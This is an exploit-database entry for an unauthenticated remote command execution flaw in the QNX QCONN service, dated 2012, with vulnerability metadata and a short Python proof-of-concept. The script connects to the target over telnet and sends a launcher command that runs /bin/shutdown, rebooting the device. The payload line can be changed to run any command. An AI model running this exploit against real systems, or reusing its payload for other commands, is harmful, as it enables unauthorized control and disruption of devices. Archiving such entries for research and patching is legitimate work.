QNX QCONN Remote Command Execution Vurnerability

vendor:

QNX Neutrino RTOS

by:

Mor!p3r

7,5

CVSS

HIGH

Remote Command Execution

CWE

Product Name: QNX Neutrino RTOS

Affected Version From: QNX 6.5.0 >=

Affected Version To: QCONN >= 1.4.207944

Patch Exists: YES

Related CWE: N/A

CPE: o:qnx:qnx_neutrino_rtos

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2012

QNX QCONN Remote Command Execution Vurnerability

This exploit allows an attacker to execute arbitrary commands on a vulnerable QNX QCONN system. The exploit is triggered by sending a specially crafted telnet request to the target system. The request contains a command to launch the 'shutdown' command, which will cause the system to reboot.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Title : QNX QCONN Remote Command Execution Vurnerability
# Version : QNX 6.5.0 >= , QCONN >= 1.4.207944
# Download: http://www.qnx.com/download/feature.html?programid=23665 (QNX Neutrino 6.5.0 SP1)
# Vendor : http://www.qnx.com
# Date : 2012/09/09
# CVE : N/A
# Exploit Author : Mor!p3r(moriper[at]gmail.com)

import telnetlib
import sys

if len(sys.argv) < 3:
  print " "
  print " -----------------------------------------------------"
  print " + Qconn Remote Command Execution PoC (Shutdown) +"
  print " -----------------------------------------------------"
  print " "
  print " + Usage: QCONNRC.py <Target IP> <Port>"
  print "    + Ex> QCONNRC.py 192.168.0.1 8000"
  print ""
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
attack ="service launcher\n" + "start/flags 8000 /bin/shutdown /bin/shutdown -b\n" + "continue\n"
telnet = telnetlib.Telnet(host, port)
telnet.write(attack)
print "[+] Finish"
telnet.close()